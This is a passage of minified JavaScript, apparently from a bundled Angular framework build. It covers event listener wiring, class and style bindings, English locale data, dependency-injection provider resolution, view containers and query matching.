uo(o,r,F,v),et(F,r),ui(v)&&(V4(o,r,v),H4(o,v,r)),null!=i&&B4(r,v),ko}function Oo(){let e=W1();const t=t1();return Yn()?qn():(e=e.parent,sn(e,!1)),t.firstCreatePass&&(y1(t,e),Ei(e)&&t.queries.elementEnd(e)),Oo}function n3(e,t,i){return ko(e,t,i),Oo(),n3}function l0(){return Tt()}function r3(e){return!!e&&"function"==typeof e.then}function d0(e){return!!e&&"function"==typeof e.subscribe}const u0=d0;function a3(e,t,i,r){const o=Tt(),l=t1(),v=W1();return h0(l,o,o[D1],v,e,t,r),a3}function s3(e,t){const i=W1(),r=Tt(),o=t1();return h0(o,r,V6(l1(o.data),i,r),i,e,t),s3}function h0(e,t,i,r,o,l,v){const F=ui(r),me=e.firstCreatePass&&H6(e),$e=t[E1],ft=N6(t);let zt=!0;if(3&r.type||v){const r1=_n(r,t),m1=v?v(r1):r1,b1=ft.length,R1=v?j1=>v(en(j1[r.index])):r.index;let Xt=null;if(!v&&F&&(Xt=function a5(e,t,i,r){const o=e.cleanup;if(null!=o)for(let l=0;l<o.length-1;l+=2){const v=o[l];if(v===i&&o[l+1]===r){const F=t[vn],Y=o[l+2];return F.length>Y?F[Y]:null}"string"==typeof v&&(l+=2)}return null}(e,t,o,r.index)),null!==Xt)(Xt.__ngLastListenerFn__||Xt).__ngNextListenerFn__=l,Xt.__ngLastListenerFn__=l,zt=!1;else{l=p0(r,t,$e,l,!1);const j1=i.listen(m1,o,l);ft.push(l,j1),me&&me.push(o,R1,b1,b1+1)}}else l=p0(r,t,$e,l,!1);const Nt=r.outputs;let Kt;if(zt&&null!==Nt&&(Kt=Nt[o])){const r1=Kt.length;if(r1)for(let m1=0;m1<r1;m1+=2){const vi=t[Kt[m1]][Kt[m1+1]].subscribe(l),Zi=ft.length;ft.push(l,vi),me&&me.push(o,r.index,Zi,-(Zi+1))}}}function f0(e,t,i,r){try{return bn(6,t,i),!1!==i(r)}catch(o){return B6(e,o),!1}finally{bn(7,t,i)}}function p0(e,t,i,r,o){return function l(v){if(v===Function)return r;Do(e.componentOffset>-1?Vn(e.index,t):t);let Y=f0(t,i,r,v),me=l.__ngNextListenerFn__;for(;me;)Y=f0(t,i,me,v)&&Y,me=me.__ngNextListenerFn__;return o&&!1===Y&&(v.preventDefault(),v.returnValue=!1),Y}}function m0(e=1){return function ni(e){return(ye.lFrame.contextLView=function Un(e,t){for(;e>0;)t=t[cn],e--;return t}(e,ye.lFrame.contextLView))[E1]}(e)}function s5(e,t){let i=null;const r=function Fl(e){const t=e.attrs;if(null!=t){const i=t.indexOf(5);if(!(1&i))return t[i+1]}return null}(e);for(let o=0;o<t.length;o++){const l=t[o];if("*"!==l){if(null===r?m6(e,l,!0):Vl(r,l))return o}else i=o}return i}function g0(e){const t=Tt()[X1][V1];if(!t.projection){const r=t.projection=er(e?e.length:1,null),o=r.slice();let l=t.child;for(;null!==l;){const v=e?s5(l,e):0;null!==v&&(o[v]?o[v].projectionNext=l:r[v]=l,o[v]=l),l=l.next}}}function v0(e,t=0,i){const r=Tt(),o=t1(),l=ja(o,L1+e,16,null,i||null);null===l.projection&&(l.projection=t),qn(),32!=(32&l.flags)&&function Tc(e,t,i){I3(t[D1],0,t,i,ao(e,i,t),T3(i.parent||t[V1],i,t))}(o,r,l)}function o3(e,t,i){return Io(e,"",t,"",i),o3}function Io(e,t,i,r,o){const l=Tt(),v=Wa(l,t,i,r);return v!==U1&&F2(t1(),$1(),l,e,v,l[D1],o,!1),Io}function Ro(e,t,i,r,o,l,v){const F=Tt(),Y=$a(F,t,i,r,o,l);return Y!==U1&&F2(t1(),$1(),F,e,Y,F[D1],v,!1),Ro}function Po(e,t){return e<<17|t<<2}function Zr(e){return e>>17&32767}function c3(e){return 2|e}function Ma(e){return(131068&e)>>2}function l3(e,t){return-131069&e|t<<2}function d3(e){return 1|e}function w0(e,t,i,r,o){const l=e[i+1],v=null===t;let F=r?Zr(l):Ma(l),Y=!1;for(;0!==F&&(!1===Y||v);){const $e=e[F+1];h5(e[F],t)&&(Y=!0,e[F+1]=r?d3($e):c3($e)),F=r?Zr($e):Ma($e)}Y&&(e[i+1]=r?c3(l):d3(l))}function h5(e,t){return null===e||null==t||(Array.isArray(e)?e[1]:e)===t||!(!Array.isArray(e)||"string"!=typeof t)&&M(e,t)>=0}const Ki={textEnd:0,key:0,keyEnd:0,value:0,valueEnd:0};function A0(e){return e.substring(Ki.key,Ki.keyEnd)}function u3(e,t){const i=Ki.textEnd;return i===t?-1:(t=Ki.keyEnd=function m5(e,t,i){for(;t<i&&e.charCodeAt(t)>32;)t++;return t}(e,Ki.key=t,i),xa(e,t,i))}function xa(e,t,i){for(;t<i&&e.charCodeAt(t)<=32;)t++;return t}function m3(e,t,i){return ar(e,t,i,!1),m3}function g3(e,t){return ar(e,t,null,!0),g3}function T0(e){sr(x5,_r,e,!0)}function _r(e,t){for(let i=function p5(e){return function f3(e){Ki.key=0,Ki.keyEnd=0,Ki.value=0,Ki.valueEnd=0,Ki.textEnd=e.length}(e),u3(e,xa(e,0,Ki.textEnd))}(t);i>=0;i=u3(t,i))Pi(e,A0(t),!0)}function ar(e,t,i,r){const o=Tt(),l=t1(),v=rt(2);l.firstUpdatePass&&k0(l,e,v,r),t!==U1&&M2(o,v,t)&&I0(l,l.data[hn()],o,o[D1],e,o[v+1]=function w5(e,t){return null==e||""===e||("string"==typeof t?e+=t:"object"==typeof e&&(e=_(Lr(e)))),e}(t,i),r,v)}function sr(e,t,i,r){const o=t1(),l=rt(2);o.firstUpdatePass&&k0(o,null,l,r);const v=Tt();if(i!==U1&&M2(v,l,i)){const F=o.data[hn()];if(P0(F,r)&&!L0(o,l)){let Y=r?F.classesWithoutHost:F.stylesWithoutHost;null!==Y&&(i=S(Y,i||"")),e3(o,F,v,i,r)}else!function D5(e,t,i,r,o,l,v,F){o===U1&&(o=at);let Y=0,me=0,$e=0<o.length?o[0]:null,ft=0<l.length?l[0]:null;for(;null!==$e||null!==ft;){const zt=Y<o.length?o[Y+1]:void 0,Nt=me<l.length?l[me+1]:void 0;let r1,Kt=null;$e===ft?(Y+=2,me+=2,zt!==Nt&&(Kt=ft,r1=Nt)):null===ft||null!==$e&&$e<ft?(Y+=2,Kt=$e):(me+=2,Kt=ft,r1=Nt),null!==Kt&&I0(e,t,i,r,Kt,r1,v,F),$e=Y<o.length?o[Y]:null,ft=me<l.length?l[me]:null}}(o,F,v,v[D1],v[l+1],v[l+1]=function M5(e,t,i){if(null==i||""===i)return at;const r=[],o=Lr(i);if(Array.isArray(o))for(let l=0;l<o.length;l++)e(r,o[l],!0);else if("object"==typeof o)for(const l in o)o.hasOwnProperty(l)&&e(r,l,o[l]);else"string"==typeof o&&t(r,o);return r}(e,t,i),r,l)}}function L0(e,t){return t>=e.expandoStartIndex}function k0(e,t,i,r){const o=e.data;if(null===o[i+1]){const l=o[hn()],v=L0(e,i);P0(l,r)&&null===t&&!v&&(t=!1),t=function _5(e,t,i,r){const o=l1(e);let l=r?t.residualClasses:t.residualStyles;if(null===o)0===(r?t.classBindings:t.styleBindings)&&(i=Ps(i=v3(null,e,t,i,r),t.attrs,r),l=null);else{const v=t.directiveStylingLast;if(-1===v||e[v]!==o)if(i=v3(o,e,t,i,r),null===l){let Y=function y5(e,t,i){const r=i?t.classBindings:t.styleBindings;if(0!==Ma(r))return e[Zr(r)]}(e,t,r);void 0!==Y&&Array.isArray(Y)&&(Y=v3(null,e,t,Y[1],r),Y=Ps(Y,t.attrs,r),function b5(e,t,i,r){e[Zr(i?t.classBindings:t.styleBindings)]=r}(e,t,r,Y))}else l=function C5(e,t,i){let r;const o=t.directiveEnd;for(let l=1+t.directiveStylingLast;l<o;l++)r=Ps(r,e[l].hostAttrs,i);return Ps(r,t.attrs,i)}(e,t,r)}return void 0!==l&&(r?t.residualClasses=l:t.residualStyles=l),i}(o,l,t,r),function d5(e,t,i,r,o,l){let v=l?t.classBindings:t.styleBindings,F=Zr(v),Y=Ma(v);e[r]=i;let $e,me=!1;if(Array.isArray(i)?($e=i[1],(null===$e||M(i,$e)>0)&&(me=!0)):$e=i,o)if(0!==Y){const zt=Zr(e[F+1]);e[r+1]=Po(zt,F),0!==zt&&(e[zt+1]=l3(e[zt+1],r)),e[F+1]=function c5(e,t){return 131071&e|t<<17}(e[F+1],r)}else e[r+1]=Po(F,0),0!==F&&(e[F+1]=l3(e[F+1],r)),F=r;else e[r+1]=Po(Y,0),0===F?F=r:e[Y+1]=l3(e[Y+1],r),Y=r;me&&(e[r+1]=c3(e[r+1])),w0(e,$e,r,!0),w0(e,$e,r,!1),function u5(e,t,i,r,o){const l=o?e.residualClasses:e.residualStyles;null!=l&&"string"==typeof t&&M(l,t)>=0&&(i[r+1]=d3(i[r+1]))}(t,$e,e,r,l),v=Po(F,Y),l?t.classBindings=v:t.styleBindings=v}(o,l,t,i,v,r)}}function v3(e,t,i,r,o){let l=null;const v=i.directiveEnd;let F=i.directiveStylingLast;for(-1===F?F=i.directiveStart:F++;F<v&&(l=t[F],r=Ps(r,l.hostAttrs,o),l!==e);)F++;return null!==e&&(i.directiveStylingLast=F),r}function Ps(e,t,i){const r=i?1:2;let o=-1;if(null!==t)for(let l=0;l<t.length;l++){const v=t[l];"number"==typeof v?o=v:o===r&&(Array.isArray(e)||(e=void 0===e?[]:["",e]),Pi(e,v,!!i||t[++l]))}return void 0===e?null:e}function x5(e,t,i){const r=String(t);""!==r&&!r.includes(" ")&&Pi(e,r,i)}function I0(e,t,i,r,o,l,v,F){if(!(3&t.type))return;const Y=e.data,me=Y[F+1],$e=function l5(e){return 1==(1&e)}(me)?R0(Y,t,i,o,Ma(me),v):void 0;Fs($e)||(Fs(l)||function o5(e){return 2==(2&e)}(me)&&(l=R0(Y,null,i,o,F,v)),function kc(e,t,i,r,o){if(t)o?e.addClass(i,r):e.removeClass(i,r);else{let l=-1===r.indexOf("-")?void 0:L2.DashCase;null==o?e.removeStyle(i,r,l):("string"==typeof o&&o.endsWith("!important")&&(o=o.slice(0,-10),l|=L2.Important),e.setStyle(i,r,o,l))}}(r,v,m2(hn(),i),o,l))}function R0(e,t,i,r,o,l){const v=null===t;let F;for(;o>0;){const Y=e[o],me=Array.isArray(Y),$e=me?Y[1]:Y,ft=null===$e;let zt=i[o+1];zt===U1&&(zt=ft?at:void 0);let Nt=ft?jr(zt,r):$e===r?zt:void 0;if(me&&!Fs(Nt)&&(Nt=jr(Y,r)),Fs(Nt)&&(F=Nt,v))return F;const Kt=e[o+1];o=v?Zr(Kt):Ma(Kt)}if(null!==t){let Y=l?t.residualClasses:t.residualStyles;null!=Y&&(F=jr(Y,r))}return F}function Fs(e){return void 0!==e}function P0(e,t){return 0!=(e.flags&(t?8:16))}function F0(e,t=""){const i=Tt(),r=t1(),o=e+L1,l=r.firstCreatePass?ja(r,o,1,t,null):r.data[o],v=i[o]=function Cs(e,t){return e.createText(t)}(i[D1],t);uo(r,i,v,l),sn(l,!1)}function Fo(e){return Ns("",e,""),Fo}function Ns(e,t,i){const r=Tt(),o=Wa(r,e,t,i);return o!==U1&&mr(r,hn(),o),Ns}function No(e,t,i,r,o){const l=Tt(),v=$a(l,e,t,i,r,o);return v!==U1&&mr(l,hn(),v),No}function _3(e,t,i,r,o,l,v){const F=Tt(),Y=function Ka(e,t,i,r,o,l,v,F){const me=zo(e,D(),i,o,v);return rt(3),me?t+Ce(i)+r+Ce(o)+l+Ce(v)+F:U1}(F,e,t,i,r,o,l,v);return Y!==U1&&mr(F,hn(),Y),_3}function y3(e,t,i,r,o,l,v,F,Y){const me=Tt(),$e=Za(me,e,t,i,r,o,l,v,F,Y);return $e!==U1&&mr(me,hn(),$e),y3}function U0(e,t,i){sr(Pi,_r,Wa(Tt(),e,t,i),!0)}function Ho(e,t,i){const r=Tt();return M2(r,Le(),t)&&F2(t1(),$1(),r,e,t,r[D1],i,!0),Ho}function Vo(e,t,i){const r=Tt();if(M2(r,Le(),t)){const l=t1(),v=$1();F2(l,v,r,e,t,V6(l1(l.data),v,r),i,!0)}return Vo}const Da=void 0;var H5=["en",[["a","p"],["AM","PM"],Da],[["AM","PM"],Da,Da],[["S","M","T","W","T","F","S"],["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],["Su","Mo","Tu","We","Th","Fr","Sa"]],Da,[["J","F","M","A","M","J","J","A","S","O","N","D"],["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],["January","February","March","April","May","June","July","August","September","October","November","December"]],Da,[["B","A"],["BC","AD"],["Before Christ","Anno Domini"]],0,[6,0],["M/d/yy","MMM d, y","MMMM d, y","EEEE, MMMM d, y"],["h:mm a","h:mm:ss a","h:mm:ss a z","h:mm:ss a zzzz"],["{1}, {0}",Da,"{1} \'at\' {0}",Da],[".",",",";","%","+","-","E","\\xd7","\\u2030","\\u221e","NaN",":"],["#,##0.###","#,##0%","\\xa4#,##0.00","#E0"],"USD","$","US Dollar",{},"ltr",function tc(e){const i=Math.floor(Math.abs(e)),r=e.toString().replace(/^[^.]*\\.?/,"").length;return 1===i&&0===r?1:5}];let es={};function M3(e){const t=function V5(e){return e.toLowerCase().replace(/_/g,"-")}(e);let i=ic(t);if(i)return i;const r=t.split("-")[0];if(i=ic(r),i)return i;if("en"===r)return H5;throw new Q(701,!1)}function nc(e){return M3(e)[z1.PluralCase]}function ic(e){return e in es||(es[e]=ie.ng&&ie.ng.common&&ie.ng.common.locales&&ie.ng.common.locales[e]),es[e]}var z1=(()=>((z1=z1||{})[z1.LocaleId=0]="LocaleId",z1[z1.DayPeriodsFormat=1]="DayPeriodsFormat",z1[z1.DayPeriodsStandalone=2]="DayPeriodsStandalone",z1[z1.DaysFormat=3]="DaysFormat",z1[z1.DaysStandalone=4]="DaysStandalone",z1[z1.MonthsFormat=5]="MonthsFormat",z1[z1.MonthsStandalone=6]="MonthsStandalone",z1[z1.Eras=7]="Eras",z1[z1.FirstDayOfWeek=8]="FirstDayOfWeek",z1[z1.WeekendRange=9]="WeekendRange",z1[z1.DateFormat=10]="DateFormat",z1[z1.TimeFormat=11]="TimeFormat",z1[z1.DateTimeFormat=12]="DateTimeFormat",z1[z1.NumberSymbols=13]="NumberSymbols",z1[z1.NumberFormats=14]="NumberFormats",z1[z1.CurrencyCode=15]="CurrencyCode",z1[z1.CurrencySymbol=16]="CurrencySymbol",z1[z1.CurrencyName=17]="CurrencyName",z1[z1.Currencies=18]="Currencies",z1[z1.Directionality=19]="Directionality",z1[z1.PluralCase=20]="PluralCase",z1[z1.ExtraData=21]="ExtraData",z1))();const ts="en-US";let rc=ts;function o7(e,t,i,r,o){if(e=z(e),Array.isArray(e))for(let l=0;l<e.length;l++)o7(e[l],t,i,r,o);else{const l=t1(),v=Tt();let F=_a(e)?e:z(e.provide),Y=o6(e);const me=W1(),$e=1048575&me.providerIndexes,ft=me.directiveStart,zt=me.providerIndexes>>20;if(_a(e)||!e.multi){const Nt=new ht(Y,o,Ga),Kt=l7(F,t,o?$e:$e+zt,ft);-1===Kt?(Mr(cr(me,v),l,F),c7(l,e,t.length),t.push(F),me.directiveStart++,me.directiveEnd++,o&&(me.providerIndexes+=1048576),i.push(Nt),v.push(Nt)):(i[Kt]=Nt,v[Kt]=Nt)}else{const Nt=l7(F,t,$e+zt,ft),Kt=l7(F,t,$e,$e+zt),m1=Kt>=0&&i[Kt];if(o&&!m1||!o&&!(Nt>=0&&i[Nt])){Mr(cr(me,v),l,F);const b1=function Gu(e,t,i,r,o){const l=new ht(e,i,Ga);return l.multi=[],l.index=t,l.componentProviders=0,Od(l,o,r&&!i),l}(o?Uu:Bu,i.length,o,r,Y);!o&&m1&&(i[Kt].providerFactory=b1),c7(l,e,t.length,0),t.push(F),me.directiveStart++,me.directiveEnd++,o&&(me.providerIndexes+=1048576),i.push(b1),v.push(b1)}else c7(l,e,Nt>-1?Nt:Kt,Od(i[o?Kt:Nt],Y,!o&&r));!o&&r&&m1&&i[Kt].componentProviders++}}}function c7(e,t,i,r){const o=_a(t),l=function ll(e){return!!e.useClass}(t);if(o||l){const Y=(l?z(t.useClass):t).prototype.ngOnDestroy;if(Y){const me=e.destroyHooks||(e.destroyHooks=[]);if(!o&&t.multi){const $e=me.indexOf(i);-1===$e?me.push(i,[r,Y]):me[$e+1].push(r,Y)}else me.push(i,Y)}}}function Od(e,t,i){return i&&e.componentProviders++,e.multi.push(t)-1}function l7(e,t,i,r){for(let o=i;o<r;o++)if(t[o]===e)return o;return-1}function Bu(e,t,i,r){return d7(this.multi,[])}function Uu(e,t,i,r){const o=this.multi;let l;if(this.providerFactory){const v=this.providerFactory.componentProviders,F=k2(i,i[Qt],this.providerFactory.index,r);l=F.slice(0,v),d7(o,l);for(let Y=v;Y<F.length;Y++)l.push(F[Y])}else l=[],d7(o,l);return l}function d7(e,t){for(let i=0;i<e.length;i++)t.push((0,e[i])());return t}function Id(e,t=[]){return i=>{i.providersResolver=(r,o)=>function Vu(e,t,i){const r=t1();if(r.firstCreatePass){const o=pn(e);o7(i,r.data,r.blueprint,o,!0),o7(t,r.data,r.blueprint,o,!1)}}(r,o?o(e):e,t)}}class Go{}class Rd{}function ju(e,t){return new Pd(e,t??null)}class Pd extends Go{constructor(t,i){super(),this._parent=i,this._bootstrapComponents=[],this.destroyCbs=[],this.componentFactoryResolver=new G6(this);const r=ke(t);this._bootstrapComponents=Or(r.bootstrap),this._r3Injector=x6(t,i,[{provide:Go,useValue:this},{provide:zs,useValue:this.componentFactoryResolver}],_(t),new Set(["environment"])),this._r3Injector.resolveInjectorInitializers(),this.instance=this._r3Injector.get(t)}get injector(){return this._r3Injector}destroy(){const t=this._r3Injector;!t.destroyed&&t.destroy(),this.destroyCbs.forEach(i=>i()),this.destroyCbs=null}onDestroy(t){this.destroyCbs.push(t)}}class u7 extends Rd{constructor(t){super(),this.moduleType=t}create(t){return new Pd(this.moduleType,t)}}class Yu extends Go{constructor(t,i,r){super(),this.componentFactoryResolver=new G6(this),this.instance=null;const o=new s6([...t,{provide:Go,useValue:this},{provide:zs,useValue:this.componentFactoryResolver}],i||vo(),r,new Set(["environment"]));this.injector=o,o.resolveInjectorInitializers()}destroy(){this.injector.destroy()}onDestroy(t){this.injector.onDestroy(t)}}function h7(e,t,i=null){return new Yu(e,t,i).injector}let Wu=(()=>{class e{constructor(i){this._injector=i,this.cachedInjectors=new Map}getOrCreateStandaloneInjector(i){if(!i.standalone)return null;if(!this.cachedInjectors.has(i.id)){const r=v4(0,i.type),o=r.length>0?h7([r],this._injector,`Standalone[${i.type.name}]`):null;this.cachedInjectors.set(i.id,o)}return this.cachedInjectors.get(i.id)}ngOnDestroy(){try{for(const i of this.cachedInjectors.values())null!==i&&i.destroy()}finally{this.cachedInjectors.clear()}}}return e.\\u0275prov=Be({token:e,providedIn:"environment",factory:()=>new e(Pe(ya))}),e})();function Fd(e){e.getStandaloneInjector=t=>t.get(Wu).getOrCreateStandaloneInjector(e)}function jd(e,t,i){const r=y()+e,o=Tt();return o[r]===U1?gr(o,r,i?t.call(i):t()):function Rs(e,t){return e[t]}(o,r)}function Yd(e,t,i,r){return Kd(Tt(),y(),e,t,i,r)}function Wd(e,t,i,r,o){return Zd(Tt(),y(),e,t,i,r,o)}function $d(e,t,i,r,o,l){return function Qd(e,t,i,r,o,l,v,F){const Y=t+i;return zo(e,Y,o,l,v)?gr(e,Y+3,F?r.call(F,o,l,v):r(o,l,v)):w3(e,Y+3)}(Tt(),y(),e,t,i,r,o,l)}function w3(e,t){const i=e[t];return i===U1?void 0:i}function Kd(e,t,i,r,o,l){const v=t+i;return M2(e,v,o)?gr(e,v+1,l?r.call(l,o):r(o)):w3(e,v+1)}function Zd(e,t,i,r,o,l,v){const F=t+i;return Ca(e,F,o,l)?gr(e,F+2,v?r.call(v,o,l):r(o,l)):w3(e,F+2)}function Xd(e,t){const i=t1();let r;const o=e+L1;i.firstCreatePass?(r=function oh(e,t){if(t)for(let i=t.length-1;i>=0;i--){const r=t[i];if(e===r.name)return r}}(t,i.pipeRegistry),i.data[o]=r,r.onDestroy&&(i.destroyHooks??(i.destroyHooks=[])).push(o,r.onDestroy)):r=i.data[o];const l=r.factory||(r.factory=ai(r.type)),v=m(Ga);try{const F=$2(!1),Y=l();return $2(F),function n5(e,t,i,r){i>=e.data.length&&(e.data[i]=null,e.blueprint[i]=null),t[i]=r}(i,Tt(),o,Y),Y}finally{m(v)}}function e9(e,t,i){const r=e+L1,o=Tt(),l=si(o,r);return A3(o,r)?Kd(o,y(),t,l.transform,i,l):l.transform(i)}function t9(e,t,i,r){const o=e+L1,l=Tt(),v=si(l,o);return A3(l,o)?Zd(l,y(),t,v.transform,i,r,v):v.transform(i,r)}function A3(e,t){return e[Qt].data[t].pure}function p7(e){return t=>{setTimeout(e,void 0,t)}}const Qr=class uh extends n.xQ{constructor(t=!1){super(),this.__isAsync=t}emit(t){super.next(t)}subscribe(t,i,r){let o=t,l=i||(()=>null),v=r;if(t&&"object"==typeof t){const Y=t;o=Y.next?.bind(Y),l=Y.error?.bind(Y),v=Y.complete?.bind(Y)}this.__isAsync&&(l=p7(l),o&&(o=p7(o)),v&&(v=p7(v)));const F=super.subscribe({next:o,error:l,complete:v});return t instanceof a.w&&t.add(F),F}};function hh(){return this._results[Symbol.iterator]()}class _c{get changes(){return this._changes||(this._changes=new Qr)}constructor(t=!1){this._emitDistinctChangesOnly=t,this.dirty=!0,this._results=[],this._changesDetected=!1,this._changes=null,this.length=0,this.first=void 0,this.last=void 0;const i=_c.prototype;i[Symbol.iterator]||(i[Symbol.iterator]=hh)}get(t){return this._results[t]}map(t){return this._results.map(t)}filter(t){return this._results.filter(t)}find(t){return this._results.find(t)}reduce(t,i){return this._results.reduce(t,i)}forEach(t){this._results.forEach(t)}some(t){return this._results.some(t)}toArray(){return this._results.slice()}toString(){return this._results.toString()}reset(t,i){const r=this;r.dirty=!1;const o=function n2(e){return e.flat(Number.POSITIVE_INFINITY)}(t);(this._changesDetected=!function Ar(e,t,i){if(e.length!==t.length)return!1;for(let r=0;r<e.length;r++){let o=e[r],l=t[r];if(i&&(o=i(o),l=i(l)),l!==o)return!1}return!0}(r._results,o,i))&&(r._results=o,r.length=o.length,r.last=o[this.length-1],r.first=o[0])}notifyOnChanges(){this._changes&&(this._changesDetected||!this._emitDistinctChangesOnly)&&this._changes.emit(this)}setDirty(){this.dirty=!0}destroy(){this.changes.complete(),this.changes.unsubscribe()}}let S3=(()=>{class e{}return e.__NG_ELEMENT_ID__=mh,e})();const fh=S3,ph=class extends fh{constructor(t,i,r){super(),this._declarationLView=t,this._declarationTContainer=i,this.elementRef=r}createEmbeddedView(t,i){const r=this._declarationTContainer.tView,o=yo(this._declarationLView,r,t,16,null,r.declTNode,null,null,null,null,i||null);o[Pn]=this._declarationLView[this._declarationTContainer.index];const v=this._declarationLView[An];return null!==v&&(o[An]=v.createEmbeddedView(r)),N4(r,o,t),new Os(o)}};function mh(){return yc(W1(),Tt())}function yc(e,t){return 4&e.type?new ph(t,e,Va(e,t)):null}let bc=(()=>{class e{}return e.__NG_ELEMENT_ID__=gh,e})();function gh(){return r9(W1(),Tt())}const vh=bc,n9=class extends vh{constructor(t,i,r){super(),this._lContainer=t,this._hostTNode=i,this._hostLView=r}get element(){return Va(this._hostTNode,this._hostLView)}get injector(){return new O2(this._hostTNode,this._hostLView)}get parentInjector(){const t=V2(this._hostTNode,this._hostLView);if(mi(t)){const i=ji(t,this._hostLView),r=Ii(t);return new O2(i[Qt].data[r+8],i)}return new O2(null,this._hostLView)}clear(){for(;this.length>0;)this.remove(this.length-1)}get(t){const i=i9(this._lContainer);return null!==i&&i[t]||null}get length(){return this._lContainer.length-ln}createEmbeddedView(t,i,r){let o,l;"number"==typeof r?o=r:null!=r&&(o=r.index,l=r.injector);const v=t.createEmbeddedView(i||{},l);return this.insert(v,o),v}createComponent(t,i,r,o,l){const v=t&&!function ur(e){return"function"==typeof e}(t);let F;if(v)F=i;else{const ft=i||{};F=ft.index,r=ft.injector,o=ft.projectableNodes,l=ft.environmentInjector||ft.ngModuleRef}const Y=v?t:new Is(O(t)),me=r||this.parentInjector;if(!l&&null==Y.ngModule){const zt=(v?me:this.parentInjector).get(ya,null);zt&&(l=zt)}const $e=Y.create(me,o,void 0,l);return this.insert($e.hostView,F),$e}insert(t,i){const r=t._lView,o=r[Qt];if(function D2(e){return Sn(e[N1])}(r)){const $e=this.indexOf(t);if(-1!==$e)this.detach($e);else{const ft=r[N1],zt=new n9(ft,ft[V1],ft[N1]);zt.detach(zt.indexOf(t))}}const l=this._adjustIndex(i),v=this._lContainer;!function Jo(e,t,i,r){const o=ln+r,l=i.length;r>0&&(i[o-1][Y1]=t),r<l-ln?(t[Y1]=i[o],Sr(i,ln+r,t)):(i.push(t),t[Y1]=null),t[N1]=i;const v=t[Pn];null!==v&&i!==v&&function Xo(e,t){const i=e[Nn];t[X1]!==t[N1][N1][X1]&&(e[di]=!0),null===i?e[Nn]=[t]:i.push(t)}(v,t);const F=t[An];null!==F&&F.insertView(e),t[h1]|=64}(o,r,v,l);const F=s4(l,v),Y=r[D1],me=lo(Y,v[ri]);return null!==me&&function Zo(e,t,i,r,o,l){r[w1]=o,r[V1]=t,ws(e,r,i,1,o,l)}(o,v[V1],Y,r,me,F),t.attachToViewContainerRef(),Sr(m7(v),l,t),t}move(t,i){return this.insert(t,i)}indexOf(t){const i=i9(this._lContainer);return null!==i?i.indexOf(t):-1}remove(t){const i=this._adjustIndex(t,-1),r=xs(this._lContainer,i);r&&(X2(m7(this._lContainer),i),ro(r[Qt],r))}detach(t){const i=this._adjustIndex(t,-1),r=xs(this._lContainer,i);return r&&null!=X2(m7(this._lContainer),i)?new Os(r):null}_adjustIndex(t,i=0){return t??this.length+i}};function i9(e){return e[_i]}function m7(e){return e[_i]||(e[_i]=[])}function r9(e,t){let i;const r=t[e.index];if(Sn(r))i=r;else{let o;if(8&e.type)o=en(r);else{const l=t[D1];o=l.createComment("");const v=_n(e,t);Tr(l,lo(l,v),o,function zc(e,t){return e.nextSibling(t)}(l,v),!1)}t[e.index]=i=P6(r,t,o,e),xo(t,i)}return new n9(i,e,t)}class g7{constructor(t){this.queryList=t,this.matches=null}clone(){return new g7(this.queryList)}setDirty(){this.queryList.setDirty()}}class v7{constructor(t=[]){this.queries=t}createEmbeddedView(t){const i=t.queries;if(null!==i){const r=null!==t.contentQueries?t.contentQueries[0]:i.length,o=[];for(let l=0;l<r;l++){const v=i.getByIndex(l);o.push(this.queries[v.indexInDeclarationView].clone())}return new v7(o)}return null}insertView(t){this.dirtyQueriesWithMatches(t)}detachView(t){this.dirtyQueriesWithMatches(t)}dirtyQueriesWithMatches(t){for(let i=0;i<this.queries.length;i++)null!==f9(t,i).matches&&this.queries[i].setDirty()}}class a9{constructor(t,i,r=null){this.predicate=t,this.flags=i,this.read=r}}class _7{constructor(t=[]){this.queries=t}elementStart(t,i){for(let r=0;r<this.queries.length;r++)this.queries[r].elementStart(t,i)}elementEnd(t){for(let i=0;i<this.queries.length;i++)this.queries[i].elementEnd(t)}embeddedTView(t){let i=null;for(let r=0;r<this.length;r++){const o=null!==i?i.length:0,l=this.getByIndex(r).embeddedTView(t,o);l&&(l.indexInDeclarationView=r,null!==i?i.push(l):i=[l])}return null!==i?new _7(i):null}template(t,i){for(let r=0;r<this.queries.length;r++)this.queries[r].template(t,i)}getByIndex(t){return this.queries[t]}get length(){return this.queries.length}track(t){this.queries.push(t)}}class y7{constructor(t,i=-1){this.metadata=t,this.matches=null,this.indexInDeclarationView=-1,this.crossesNgTemplate=!1,this._appliesToNextNode=!0,this._declarationNodeIndex=i}elementStart(t,i){this.isApplyingToNode(i)&&this.matchTNode(t,i)}elementEnd(t){this._declarationNodeIndex===t.index&&(this._appliesToNextNode=!1)}template(t,i){this.elementStart(t,i)}embeddedTView(t,i){return this.isApplyingToNode(t)?(this.crossesNgTemplate=!0,this.addMatch(-t.index,i),new y7(this.metadata)):null}isApplyingToNode(t){if(this._appliesToNextNode&&1!=(1&this.metadata.flags)){const i=this._declarationNodeIndex;let r=t.parent;for(;null!==r&&8&r.type&&r.index!==i;)r=r.parent;return i===(null!==r?r.index:-1)}return this._appliesToNextNode}matchTNode(t,i){const r=this.metadata.predicate;if(Array.isArray(r))for(let o=0;o<r.length;o++){const l=r[o];this.matchTNodeWithReadOption(t,i,_h(i,l)),this.matchTNodeWithReadOption(t,i,Jn(i,t,l,!1,!1))}else r===S3?4&i.type&&this.matchTNodeWithReadOption(t,i,-1):this.matchTNodeWithReadOption(t,i,Jn(i,t,r,!1,!1))}matchTNodeWithReadOption(t,i,r){if(null!==r){const o=this.metadata.read;if(null!==o)if(o===Ts||o===bc||o===S3&&4&i.type)this.addMatch(i.index,-2);else{const l=Jn(i,t,o,!1,!1);null!==l&&this.addMatch(i.index,l)}else this.addMatch(i.index,r)}}addMatch(t,i){null===this.matches?this.matches=[t,i]:this.matches.push(t,i)}}function _h(e,t){const i=e.localNames;if(null!==i)for(let r=0;r<i.length;r+=2)if(i[r]===t)return i[r+1];return null}function bh(e,t,i,r){return-1===i?function yh(e,t){return 11&e.type?Va(e,t):4&e.type?yc(e,t):null}(t,e):-2===i?function Ch(e,t,i){return i===Ts?Va(t,e):i===S3?yc(t,e):i===bc?r9(t,e):void 0}(e,t,r):k2(e,e[Qt],i,t)}function s9(e,t,i,r){const o=t[An].queries[r];if(null===o.matches){const l=e.data,v=i.matches,F=[];for(let Y=0;Y<v.length;Y+=2){const me=v[Y];F.push(me<0?null:bh(t,l[me],v[Y+1],i.metadata.read))}o.matches=F}return 